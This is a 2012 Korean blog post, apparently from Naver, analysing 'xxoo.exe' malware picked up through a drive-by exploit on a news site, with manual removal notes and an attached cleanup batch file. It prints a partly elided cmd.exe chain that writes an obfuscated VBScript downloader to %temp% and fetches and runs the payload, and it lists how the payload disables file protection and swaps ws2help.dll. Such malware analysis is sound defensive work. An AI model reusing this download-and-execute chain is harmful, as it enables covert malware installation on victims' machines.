메뉴 바로가기 본문 바로가기

null

전체보기목록열기 (142)

목록열기

xxoo.exe 악성코드 감염 주의하세요!

User-Level / [Malicious c0dε]

2012/02/12 21:11

http://wz1054.blog.me/30131084941

전용뷰어 보기

첨부파일 (1)

인터넷 뉴스 들어가다가 또 걸렸군요.

~~인터넷 뉴스 개갞...~~

이번에도 취약점을 통해서 들어오는 듯 합니다.

~~하긴 취약점 아니면 뭐가 이유겠어~~

java applet을 이용한 취약점인가... ~~내가 알리가 있나~~

어쨌든 간략하게 요놈에 대해서 적어 보겠습니다.

※ 아래에 서술한 내용은, 이 악성코드가 동작하는 간단힌 원리 및 수동 치료방법을 다루고 있습니다.

다만, 인위적으로 실행하여 테스트를 했기 때문에 여러가지 다른 점이 있을지도 모릅니다.

취약점이 실행되면

cmd.exe가 특정 명령줄(Command-Line)이 주어진 상태로 실행됩니다.

(당연히 cmd.exe는 정상 파일입니다.)

실행되는 내용은

1. 최종적으로 악성코드를 다운로드받는 VB 스크립트를 %temp%\down.vbs 에 생성한다.

2. down.vbs를 실행시키고, 이는 악성코드를 다운로드받아 %temp%\xxoo.exe 를 생성한다. (경로는 다를 수도...?)

3. 다운로드받았던 xxoo.exe를 실행한다.

그 내용은 사실 한줄로 상당히 길게 나와 있지만, 알기쉽게 놓으면 다음과 같습니다.

cmd.exe /c echo URL = LCase(WScript.Arguments(0))>"%temp%\down.vbs"
cmd.exe /c echo dim m,s>>"%temp%\down.vbs"
cmd.exe /c echo m="M^i^c^r^o^s^o^f^t^.^X^M^L^H^T^T^P">>"%temp%\down.vbs"

(중간생략)
cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>"%temp%\down.vbs"
cmd.exe /c cscript "%temp%\down.vbs" (다운로드받기위한 주소) "%temp%\xxoo.exe"&& "%temp%\xxoo.exe"

여기에서 다운로드받기 위한 주소는 여러 개가 될 수 있습니다.

해당 서버 디렉토리를 뒤져 보니, 여러 개의 파일이 업로드 되어 있군요.

그런데 위에서 크기가 54M이나 되는 파일이 하나 있었습니다.

받아서 열어 보았는데...

이런 텍스트 형식이었습니다.

IP 주소, 시간, (아마도) HTTP Request 정보, 링크 주소 등등이 포함되어 있었는데...

일종의 로그 파일인가...?

여하튼 저기에 쓰여있던 주소로 링크를 타고 들어갔더니 PC가 똑같이 감염되었습니다.

하...뭐랄까, 들어가기가 썩 좋지는 않다는 생각이 다시한번 들게 되었다고 해야하나...

어찌되었든 이 글을 읽으시는 분들은 주의해 주세요. ~~아무데나 막 들어가면 영 좋지 않을 것 같습니다~~

예전에도 이런 사이트에서 들어오는 건 알고 있었는데...어쨌든 상태가 영 좋지 않습니다.

어쨌든, 계속해서~~잡소리는 집어치우고~~ xxoo.exe가 하는 일에 대해서 알아보겠습니다.

xxoo.exe는 다음과 같은 일을 수행합니다.

1. 경로 %systemroot%\tasks에 sa01.dat 을 생성한다.

2. 시스템 파일 보호를 무력화한다.

3. 경로 %systemroot%\system32 의 정상파일 ws2help.dll을 wimedump.dll 로 이름을 변경한다.

이 이유는 바로 아래의 그림을 보면 알 수 있습니다.

4. %temp%\del(랜덤한 16진수).bat를 생성한다.

5. (4) 에서 생성한 배치파일을 실행한다.

6. %temp%\del(랜덤한 16진수).bat를 생성한다. 다만 (4) 의 경우와 내용은 다르다.

(위에서 보면 실행파일 경로가 바탕화면으로 되어있는데, 이건 직접 실행해서 테스트한 탓입니다.)

7. (6) 에서 생성한 배치파일을 실행하고 종료된다.

이런 과정을 거치게 되면...

위에 설명한 대로 이제부터는 변조된 ws2help.dll이 대신 로드됩니다.

여기에서 정상 DLL의 복사본인 wimedump.dll이 로드된 것을 보면,

확실히 변조된 ws2help.dll도 로드되어 있다는 것을 알 수 있습니다.

...만, 어째서인지 보이지는 않습니다.

하지만 귀찮아서 확인은 뒤로 하고 (@_@)

일단 요놈이 뭘 할지부터 간단히 알아봅시다.

보시다시피 아래가 주 목적이라고 할 수 있겠습니다.

요즘 들어오는 게 흔히 이런 형식인것 같습니다. 걸려봐도 걸려봐도 하는 짓들이 항상 똑같아(...) ~~나만 그런가~~

대충 어느정도는 알아보았으니~~때웠으니~~, 간단한 치료 방법을 적어 보도록 하겠습니다

...는 귀찮아져서 그만두기로 하고, 대신 치료할수 있는 XP용 배치 파일을 올려놓았습니다.

이 배치파일은 단순히 sa01.dat와 wimedump.dll의 유무를 검사하는 방식으로 위 악성코드의 유무를 판단합니다.

따라서, 위 증상에 맞으신 분들만 이 배치파일을 실행해주세요. 반드시.

이상으로 이번 악성코드에 대한 간략한 설명은 끝입니다.

~~뭔가 더 넣어보고는 싶지만 귀찮잖아 안될거야 아마~~

P.S. 어제 들어갔을 때는 서버에 파일이 몇개밖에 없었는데, 오늘 들어가니 2배로 증식(...) =_=;; 흠좀무.

P.S. #2. 혹시 위의 저... 로그파일 비스무리하게 생긴(?) 것에 대한 정체를 알고 계시는 분 계세요???

인쇄

덧글 16 엮인글 공감 공감하기

'전체' 카테고리의 다른 글

전체 포스트 보기

금칙어가 포함되어 있습니다

작성하신 에 금칙어가 포함되어 있습니다.

해당되는 금칙어

금칙어를 삭제하신 후 다시 글을 등록하시기 바랍니다.
건전한 인터넷 문화 조성을 위해 회원님의 적극적인 협조를 부탁드립니다.

더 궁금하신 사항은 고객센터로 문의하시면 자세히 알려드리겠습니다.